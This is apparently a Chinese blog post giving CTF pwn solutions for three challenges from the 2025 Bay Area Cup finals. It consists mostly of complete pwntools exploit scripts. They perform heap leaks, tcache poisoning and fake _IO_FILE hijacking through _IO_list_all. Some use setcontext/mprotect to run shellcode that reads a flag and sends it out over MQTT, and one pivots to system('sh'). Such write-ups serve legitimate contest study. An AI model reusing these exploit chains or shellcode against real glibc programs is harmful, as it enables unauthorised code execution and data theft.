pwn· 更新于 2025-09-21

湾区杯-2025

湾区杯 2025 决赛

encryptednote

#!/usr/bin/env python3
from pwncli import *
from base64 import *

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
    addr = '172.65.110.61 9999'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
    brva 0x1826
    brva 0x1983
    brva 0x1A4D
    brva 0x1C3C
    dir /mnt/f/Documents/CTF/glibc/glibc-2.35
    set $heap = $rebase(0x40E0)
    b __libio_codecvt_in
    c
'''

IAT = b'1. add\n2. show\n3. delete\n4. edit\n5. back\nchoice> '


def add(idx, size):
    sla(IAT, b'1')
    sla(b'index', str(idx))
    sla(b'length', str(size))


def dele(idx):
    sla(IAT, b'3')
    sla(b'index', str(idx))


def edit(idx, data):
    sla(IAT, b'4')
    sla(b'index', str(idx))
    sla(b'newcontent', b64encode(data))


def show(idx):
    sla(IAT, b'2')
    sla(b'index> ', str(idx))


sla(b'\n====== Heap Manager ======\n1. manage chunks\n2. exit\nchoice> ', b'1')
add(0, 0x108)
dele(0)
add(0, 0x108)
show(0)
heap_base = u64_ex(r(5)) << 12
log_heap_base_addr(heap_base)

add(12, 0x500)
add(13, 0x10)
dele(12)
add(12, 0x500)
show(12)
libc_base = u64_ex(r(6)) - 0x21ACE0
set_current_libc_base_and_log(libc_base)

add(3, 0x420)
payload = flat(
    {
        0x80: [0, 0x4A0, heap_base + 0x960, heap_base + 0x960],
    },
    filler='\x00',
)
edit(3, payload)
add(4, 0xF8)
add(5, 0x4F8)
add(6, 0xF8)
edit(4, b'\x00' * 0xF0 + p64(0x4A0))
dele(5)

dele(6)
dele(4)
add(7, 0x990)
payload = b'\x00' * 0x3A0 + p64(protect_ptr(heap_base + 0xD10, libc.sym._IO_list_all))
edit(7, payload)
add(8, 0xF8)
add(9, 0xF8)
add(10, 0x300)
fake_IO_FILE = heap_base + 0x1410
ucontext = flat(
    {
        0x0: (__shlib_handle := 0),  # codecvt->__cd_in.step->__shlib_handle
        0x28: (__fct := libc.sym.setcontext),  # codecvt->__cd_in.step->__fct  rip
        0xA0: (_rsp := fake_IO_FILE + 0xE0 + 0xE0),
        0x78: (_rbp := 0),
        0x68: (_rdi := heap_base),
        0x70: (_rsi := 0x20000),
        0x88: (_rdx := 7),
        0x80: (_rbx := 0),
        0x98: (_rcx := 0),
        # 0x28: (_r8 := 0),
        0x30: (_r9 := 0),
        0x48: (_r12 := 0),
        0x50: (_r13 := 0),
        0x58: (_r14 := 0),
        0x60: (_r15 := 0),
        0xA8: (_rip := libc.sym.mprotect),
        0xE0: fake_IO_FILE + 0xE0 + 0xE8,  # fldenv [rcx]
        0xE8: asm(shellcraft.open('flag', 0) + shellcraft.sendfile(1, 3, 0, 0x100) + shellcraft.write(1, 'rsp', 0x100)),
    },
    filler=b'\x00',
)

IO_payload = flat(
    {
        0x0: ~(4 | 0x10),
        0x10: (_IO_read_end := 0x666),  # fp->_IO_read_ptr < fp->_IO_read_end
        0x28: (_IO_write_base := 0x666),  # fp->_IO_write_ptr < fp->_IO_write_end
        0x98: (_codecvt := fake_IO_FILE + 0xA8),  # _codecvt
        0xA0: (_wide_data := fake_IO_FILE + 0x28),  # _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end  *A >= *(A + 8)
        0xA8: (__cd_instep := fake_IO_FILE + 0xE0),  # codecvt->__cd_in.step
        0xD8: libc.sym._IO_wfile_jumps + 0x8,  # vtable _IO_wfile_jumps -> _IO_wfile_underflow
        0xE0: ucontext,
    },
    filler=b'\x00',
)
edit(10, IO_payload)
launch_gdb(cmd)
edit(9, p64(fake_IO_FILE))
sl(b'5')
sl(b'2')

ia()

M-ECU

解 base64 计算长度错误,后面填充多少个=就会减多少长度,这样可以覆盖到 token

然后 shellcode,限制长度先从 name 中复制 shellcode,然后 write(5, mqtt_header+flag, len)

close 了 1,2,3,4,只保留了 5,只能通过 mqtt 实现 flag 外带

#!/usr/bin/env python3
from pwncli import *
import paho.mqtt.client as mqtt
import json
import ctypes
from base64 import *
from ae64 import AE64

clibc = ctypes.CDLL("libc.so.6")


def on_message(client, userdata, msg):
    print(f"[消息] 主题: {msg.topic}  QoS: {msg.qos}  Payload: {msg.payload.decode(errors='ignore')}")
    global data_recv, is_recv
    is_recv = True
    data_recv = msg.payload


def network_loop():
    # loop_forever 内部会自动重连,阻塞直到 disconnect()
    res_client.loop_forever()


local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag != "remote":
    BROKER_HOST = "127.0.0.1"
    BROKER_PORT = 1883
else:
    BROKER_HOST = "172.36.110.201"
    BROKER_PORT = 1883

TOPIC = "ecu/command"
client = mqtt.Client(client_id="ik")
client.connect(BROKER_HOST, BROKER_PORT, keepalive=60)

res_client = mqtt.Client(client_id="res_ik")
res_client.on_message = on_message
res_client.connect(BROKER_HOST, BROKER_PORT, keepalive=60)
res_client.subscribe("ecu/response", qos=0)

t = threading.Thread(target=network_loop, name="MQTT-Network", daemon=True)
t.start()

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]

gift.elf = ELF(elf_path := './mqtt_client')
if local_flag == "remote":
    addr = '172.36.110.201 9999'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
    brva 0x4243
    brva 0x427B

    brva 0x3743
    brva 0x39EA
    # add
    brva 0x3CF8
    # show
    brva 0x3FDF
    # dele

    set $d = (void *)0x13370000
    # ida
    c
    si
    b *($rip+0x27)
'''


def add(id, data, len):
    payload_opcode = {'id': id, 'data': data, 'len': len}
    payload_opcode = json.dumps(payload_opcode, ensure_ascii=False, separators=(',', ':'))
    payload_opcode_encode = b64encode(payload_opcode.encode()).decode()
    payload = {'opcode': 5, 'payload': payload_opcode_encode}
    payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':'))
    client.publish(TOPIC, payload, qos=0)


def show(id):
    payload_opcode = {'id': id}
    payload_opcode = json.dumps(payload_opcode, ensure_ascii=False, separators=(',', ':'))
    payload_opcode_encode = b64encode(payload_opcode.encode()).decode()
    payload = {'opcode': 6, 'payload': payload_opcode_encode}
    payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':'))
    client.publish(TOPIC, payload, qos=0)


def dele(id):
    payload_opcode = {'id': id}
    payload_opcode = json.dumps(payload_opcode, ensure_ascii=False, separators=(',', ':'))
    payload_opcode_encode = b64encode(payload_opcode.encode()).decode()
    payload = {'opcode': 7, 'payload': payload_opcode_encode}
    payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':'))
    client.publish(TOPIC, payload, qos=0)


payload = {'opcode': 0x2, 'payload': 'inkey', 'token': '6161616161616100'}
payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':')).encode()
client.publish(TOPIC, payload, qos=0)

shellcode = '''
    push 0x67616c66
    push 2
    pop rax
    mov rdi, rsp
    xor esi, esi
    syscall
    mov rax, 0x6161616161616161
    push rax
    push rax
    push rax
    push rax
    xor edi, edi
    mov rsi, rsp
    push r11
    pop rdx
    push 0
    pop rax
    syscall
    mov rax, 0x65736e6f70736572
    push rax
    mov rax, 0x2f7563650c004030
    push rax
    mov rsi, rsp
    push 5
    pop rdi
    push 1
    pop rax
    push 0x48
    pop rdx
    syscall
'''
shellcode = asm(shellcode) + b'\x90' * 0x20
log_ex(f'len: {len(shellcode):#x}')
payload_opcode_encode = b64encode(shellcode.ljust(0x800, b'a') + b'a' * 7).decode().ljust(0xB10, '=')
payload = {'opcode': 5, 'payload': payload_opcode_encode}
payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':'))
client.publish(TOPIC, payload, qos=0)

shellcode = '''
    mov al, 0x37
    mov ah, 0x13
    shl eax, 16
    add eax, 0x38
    add eax, 0x70
    add rdx, 0x40
    push 0x70
    pop rcx
    mov bl, [rax]
    mov [rdx], bl
    inc rax
    inc rdx
    dec rcx
    cmp rcx, 1
    jnz $-0x11
    jmp $+0x19
'''
shellcode = asm(shellcode)
log_ex(f'len: {len(shellcode):#x}')

launch_gdb(cmd)
payload = {'opcode': 0x1002, 'payload': 'inkey', 'token': '6161616161616100'}
payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':')).encode()
payload = payload.replace(b'inkey', shellcode)
client.publish(TOPIC, payload, qos=0)

ia()

babyshark

随机数种子是时间,可以本地预测远程的

常规 uaf

#!/usr/bin/env python3
from pwncli import *
from ctypes import *

clibc = CDLL("./libc.so.6")

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './chal')
if local_flag == "remote":
    addr = '172.36.110.113 8888'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
    time_ = clibc.time(0) - 1
else:
    gift.io = process(elf_path)
    time_ = clibc.time(0)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
    brva 0x173B
    brva 0x1919
    brva 0x19A7
    brva 0x1AE3
    brva 0x1B98
    brva 0x1F9F

    # brva 0x1DEB
    # brva 0x1E1A
    # brva 0x138F
    # ida
    set $heap = $rebase(0x4080)
    c
'''

IAT = b'\n'


def convert(n):
    i = 0
    ret = 0
    while True:
        j = n & 0x7F
        n >>= 7
        if n == 0:
            ret |= j << i
            break
        j |= 1 << 7
        ret |= j << i
        i += 8

    if 0xFF < ret < 0x1000:
        ret = p16(ret)
    elif 0xFFFF < ret < 0x100000:
        ret = p24_ex(ret)
    else:
        ret = p8(ret)

    return ret


def add(size, data=b''):
    size = convert(size)
    if data == b'':
        payload = p8(1 << 3) + p8(1) + p8(3 << 3) + size
    else:
        payload = p8(1 << 3) + p8(1) + p8(3 << 3) + size + p8(2 | 4 << 3) + convert(len(data)) + data
    s(convert(len(payload)))
    s(payload)
    ru(b'ok')


def dele(idx):
    idx = ((idx & 0b11111) << 3) | (idx >> 5)
    idx = idx ^ byte_4280
    idx = convert(idx)
    payload = p8(1 << 3) + p8(3) + p8(2 << 3) + idx
    s(convert(len(payload)))
    s(payload)
    ru(b'freed')


def dele_uaf(idx, data):
    idx = ((idx & 0b11111) << 3) | (idx >> 5)
    idx = idx ^ byte_4280
    idx = convert(idx)
    payload = p8(1 << 3) + p8(9) + p8(2 << 3) + idx
    s(convert(len(payload)))
    s(payload)
    sla(b'your msg:', data)
    ru(b'done')


def edit(idx, data):
    idx = ((idx & 0b11111) << 3) | (idx >> 5)
    idx = idx ^ byte_4280
    idx = convert(idx)
    size = convert(len(data))
    payload = p8(1 << 3) + p8(2) + p8(2 << 3) + idx + p8(3 << 3) + size + p8(2 | 4 << 3) + size + data
    s(convert(len(payload)))
    s(payload)
    ru(b'edited')


def show(idx):
    idx = ((idx & 0b11111) << 3) | (idx >> 5)
    idx = idx ^ byte_4280
    idx = convert(idx)
    payload = p8(1 << 3) + p8(4) + p8(2 << 3) + idx
    s(convert(len(payload)))
    s(payload)


def bye():
    payload = p8(1 << 3) + p8(5)
    s(convert(len(payload)))
    s(payload)


ru(b'heap service ready')
clibc.srand(time_)
byte_4280 = clibc.rand() & 0xFF
log_ex(f'byte_4280: {byte_4280:#x}')

for i in range(7):
    add(0x100)
add(0x100)
add(0x100)  # 8 victim
add(0x10)
for i in range(7):
    dele(i)
dele_uaf(8, b'a')
dele(7)
add(0x100)
dele(8)

for i in range(9):
    add(0x100)
dele(1)
show(10)
r(5)
heap_base = u64_ex(r(5)) << 12
log_heap_base_addr(heap_base)

add(0x100)
dele(0)
dele(1)
edit(10, p64(protect_ptr(heap_base + 0xB40, heap_base + 0x10)))
add(0x100)
add(0x100)
payload = flat(
    {
        0x0: 1 << 0 | 1 << 16,
        0x80: heap_base + 0x2A0,
        0x88: heap_base + 0xD20,
    },
    filler=b'\x00',
)
edit(1, payload)
add(0x500)
add(0x10)
add(0x20)
dele(11)
show(13)
r(5)
libc_base = u64_ex(r(6)) - 0x21ACE0
set_current_libc_base_and_log(libc_base)

payload = flat(
    {
        0x0: 1 << 0 | 1 << 16,
        0x80: heap_base + 0x2A0,
        0x88: libc.sym._IO_list_all,
    },
    filler=b'\x00',
)
edit(1, payload)
fake_IO_FILE = heap_base + 0x1250
payload = flat(
    {
        0x0: u64_ex("  sh"),
        0x28: libc.sym.system,  # function
        0xA0: fake_IO_FILE + 0xD0 - 0xE0,  # _wide_data->_wide_vtable
        0xD0: fake_IO_FILE + 0x28 - 0x68,  # _wide_data->_wide_vtable->doallocate
        0xD8: libc.sym._IO_wfile_jumps,  # vtable _IO_wfile_jumps-0x48
    },
    filler=b'\x00',
)
launch_gdb(cmd)
add(0x500, payload)
# edit(13, payload)
add(0x20, p64(fake_IO_FILE))
bye()


ia()

image-20250921130929239

2025-9-15_16-39-28

评论
NETEASE歌单
未选择曲目
0:000:00